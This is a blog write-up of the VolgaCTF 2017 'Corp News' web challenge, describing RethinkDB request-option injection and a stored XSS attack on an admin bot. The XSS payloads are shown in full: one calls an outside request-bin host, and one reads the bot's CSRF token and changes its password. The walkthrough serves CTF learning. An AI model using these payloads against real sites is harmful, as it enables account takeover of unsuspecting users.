Monday, March 27, 2017

VolgaCTF 2017 Quals - Corp News (300)




Challenge Description:

We have created an excellent service for obtaining corporate news. You never know the secret information
corp-news.quals.2017.volgactf.ru
corp-news2.quals.2017.volgactf.ru

Hints

Some errors may shed light on what is there on the backend

This challenge was a lot of fun, it was a mix of 2 bugs and required a little recon to find out more about the technology on the server.

First, when poking around the server, it displayed errors in the standard NodeJS Express way, so we could assume for now it's running a Node server. Ex.:

http://corp-news.quals.2017.volgactf.ru/unknown-page

Cannot GET /unknown-page


Next we started looking at the cookies, this is where it got a little odd. We know the server is running Node & Express, why is there a cookie called PHPSESSIONID? What kind of mad world are we living in?!

PHPSESSID=s%3AtUPAeIpyJ6fxkjO495aXXk8uoeBLiPMx.oOGUyrAXrM%2FDwbeidRiY3WMVuYTLZOF1QdBX5uZnOiA

It turns out this had nothing to do with the rest of the challenge, maybe just a strange developer decision to keep similar names when dealing with sessions...


Once we're logged in, it redirects us to a profile page, the only feature on this page is a button to change our own password. There doesn't seem to be any apparent reason we would want to do this initially. Looking at the source it seemed fairly standard, the one interesting part to note is that there was some sort of CSRF token being passed to the backend for this page.



Home doesn't have much on it, so the next page to look at is News.



On the News page we get a small welcome message with a randomly generated username, a comment submission and a button to retrieve "private news".  Reading private news sounds like an attractive target, so let's start there.  When clicking this button we get a message written below saying:

Please, set debug header true, becouse the app in developing state:)


They want us to set some debug header, so let's see what we can modify. Initially we tried many different ideas. Sending HTTP headers, including 'debug=true', or 'debug:true' in the data of the post request, visiting News with ?debug=true, etc. It really came down to understanding what type of backend was setup.

First looking at the request in the front-end code, we can see some opportunities for modification:

...
<button onclick="loadNews()" class="btn btn-primary">Read private news</button>
...

function loadNews() {
    var data = {
    'resultFormat': 'text'
    }
    $.ajax({
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
            $('#private_news').text(data['message']);
            $('#private_news').show(0).delay(1500).hide(0);
        },
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);
            $('#private_news_error').show(0).delay(1500).hide(0); 
        }       
    });
}

If we copy this function into the developer console and remove 'text' from the 'resultFormat' in data, we start to see an interesting error:

Error: `result_format` (texsdfsdft) is not recognized, ('auto', 'json', 'jsonp', 'text', and 'binary' are allowed).


When looking up '"result_format" javascript nodejs' on Google we find this issue on GitHub: https://github.com/rethinkdb/docs/issues/306#issuecomment-44475230

Under Optargs, this mentions: 'result_format=( text | json | jsonp | auto ): choose how to format the result (see below); default="auto"'

This looks very familiar! It sounds like we're working with RethinkDB on the backend!

Looking at the ReQL command reference on rethinkdb's site, we see the same options reflected back in the error - https://www.rethinkdb.com/api/javascript/http/#general-options

This was nice when verifying we were really working with RethinkDB. Any keys added to data which were invalid, would throw, otherwise it would silently succeed. Displaying the adjacency between our dynamic tests and the documentation.

The interesting part of the ReQL documentation was the Request Options, this showed us a place for headers & db query params:
https://www.rethinkdb.com/api/javascript/http/#request-options

method: HTTP method to use for the request. One of GET, POST, PUT, PATCH, DELETE or HEAD. Default: GET.
auth: object giving authentication, with the following fields:
type: basic (default) or digest
user: username
pass: password in plain text
params: object specifying URL parameters to append to the URL as encoded key/value pairs. { query: 'banana', limit: 2 } will be appended as ?query=banana&limit=2. Default: no parameters.
header: Extra header lines to include. The value may be an array of strings or an object. Default: Accept-Encoding: deflate;q=1, gzip;q=0.5 and User-Agent: RethinkDB/.
data: Data to send to the server on a POST, PUT, PATCH, or DELETE request. For POST requests, data may be either an object (which will be written to the body as form-encoded key/value pairs) or a string; for all other requests, data will be serialized as JSON and placed in the request body, sent as Content-Type: application/json. Default: no data will be sent.


The params feature would be great to control, unfortunately this did not work in this situation, and wasn't the intended target for this application. The key 'header' is very interesting for us, it allows us to inject custom headers which RethinkDB may use for various purposes. In this case, we're adding the custom debug flag:

function loadNews() {
    var data = {
      'resultFormat': 'text',
      'header': {
         'debug': 'true'
      }
    };
    $.ajax({
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
            $('#private_news').text(data['message']);
            $('#private_news').show(0).delay(1500).hide(0);
        },
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);
            $('#private_news_error').show(0).delay(1500).hide(0); 
        }       
    });
}


After loading this new patch, we can see it returns a different response:

VolgaCTF is an international inter-university cybersecurity competition organised by a group of IT enthusiasts based in Samara, Russia.VolgaCTF 2017 Quals is an online competition. Top teams will be invited to participate in VolgaCTF 2017 Finals, which will be held in Samara, Russia.Registration for the competition will be opened at the end of February.

This was very nice to see, some progress that we're moving forward. Next let's look at the comment form.

When sending a standard comment, a small flash message pops up and disappears, nothing else noticeable happens.

Thank you, for your answer, my friend!:)

This seems like a good place to test for XSS. After setting up a small remote server, we can see the request go through.

For this article, I'll be setting up small tests on https://requestb.in/ to test it out again (very useful for this situation).

First we send a very simple XSS test to fingerprint the browser and figure out what we're working with:

<script src="http://corp-news.quals.2017.volgactf.ru/public/vendor/bower_components/jquery/jquery.js"></script>
<script>
  $.post("http://requestb.in/wtmd3swt", "SUCCESS!")
</script>

This returns the following values (including the success message):

Connect-Time: 1
X-Request-Id: 034f6890-6cc8-429a-9408-1f8cd4720112
Accept: */*
Cf-Visitor: {"scheme":"http"}
Total-Route-Time: 0
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Host: requestb.in
Cf-Connecting-Ip: 77.244.214.227
Accept-Encoding: gzip
Accept-Language: en-US,*
Via: 1.1 vegur
Origin: http://127.0.0.1:3000
Cf-Ray: 34604e8380f74f38-DME
Content-Length: 8
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Referer: http://127.0.0.1:3000/bot
Cf-Ipcountry: RU

There were Three notable pieces of information here. First was that this came from an automated PhantomJS browser. Second was the referrer mentioning the term bot as well as the idea that the bot was most likely on the same box as the server: 'http://127.0.0.1:3000/bot'. The third chunk of information was that this server was running on port 3000, not what we expect since we originally visited the application over port 80. If we check port 300 it does exist on the server (without many of the resources) - http://corp-news.quals.2017.volgactf.ru:3000/

So we have some randomly created user (and their name from the comment box) running our script, maybe we should go back to that profile section and see if we can change this user's password?

With a simple script we can pull the profile page for the bot at '/lk' and check the CSRF token setup. Taking this token we can pass it along to the '/change_password' route and send a success or failure message to another request bin - https://requestb.in/1hvn43r1?inspect

<script src="http://corp-news.quals.2017.volgactf.ru/public/vendor/bower_components/jquery/jquery.js"></script>
<script>
var SERVER = 'http://requestb.in/1hvn43r1';
var P = "__s0m3Passw0rdH3r3__";

$.get('/lk', function(d) {
  var t = $(d).find('.control-group .invisible').text();
  var data = { "new_password": P, "confirm_password": P, "token": t };
  $.ajax({
    type: 'POST',
    url: '/change_password',
    contentType: 'application/json',
    data: JSON.stringify(data),
    success: function(xhr) {
      $.post(SERVER, 'SUCCESS!!!');
    },
    error: function(xhr) {
      $.post(SERVER, 'ERRZ');
    }
  });
});
</script>


Looks like it worked! Now we can login as this user!

Immediately we see a difference after we login:

It looks like we've got a 'secret' header value to try out.  Let's go back to the News section and insert it into the header section.

Setting the loadNews() function up again with the new 'secret' value:

function loadNews() {
    var data = {
      'resultFormat': 'text',
      'header': {
         'secret': 'asdJHF7dsJF65$FKFJjfjd773ehd5fjsdf7',
         'debug': 'true'
      }
    };
    $.ajax({
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
            $('#private_news').text(data['message']);
            $('#private_news').show(0).delay(1500).hide(0);
        },
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);
            $('#private_news_error').show(0).delay(1500).hide(0); 
        }       
    });
}



And we have the flag!

VolgaCTF{rethinkdb_nearly_without_nosqlInj_and_some_clientside}